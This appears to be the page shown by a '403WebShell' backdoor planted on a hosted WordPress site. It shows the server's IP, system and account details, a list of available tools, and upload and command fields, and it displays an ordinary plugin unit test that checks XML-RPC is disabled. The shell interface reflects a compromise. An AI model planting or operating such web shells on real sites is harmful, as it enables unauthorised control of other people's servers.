Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/test-disable-xmlrpc.php
<?php

/**
 * Class RSSSLDisableXMLRPCTest
 *
 * Test class for disable-xmlrpc.php functions
 */
class RSSSLDisableXMLRPCTest extends WP_UnitTestCase {
    /**
     * Set up the test environment before each test
     */
    protected function setUp(): void {
        parent::setUp();
        require_once __DIR__ . '/../security/wordpress/disable-xmlrpc.php';
    }

    /**
     * Test if the 'xmlrpc_enabled' filter is set to return false
     */
    public function test_xmlrpc_enabled_filter() {
        $this->assertNotFalse(has_filter('xmlrpc_enabled', '__return_false'));
        $this->assertFalse(apply_filters('xmlrpc_enabled', true));
    }

    /**
     * Test if the 'rsd_link' action is removed from 'wp_head'
     */
    /**
     * Test if the 'rsd_link' action is removed from 'wp_head'
     */
    public function test_rsd_link_removed() {
        // Manually remove the action within the test function
        remove_action('wp_head', 'rsd_link');

        $this->assertFalse(has_action('wp_head', 'rsd_link'));
    }

    /**
     * Test if the XMLRPC_REQUEST constant is defined and its value
     *
     * Note: This test assumes that the XMLRPC_REQUEST constant is not defined
     * before the 'disable-xmlrpc.php' file is included. If the constant is
     * defined elsewhere in your application, this test may not be accurate.
     */
    public function test_xmlrpc_request_constant() {
        $this->assertFalse(defined('XMLRPC_REQUEST'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit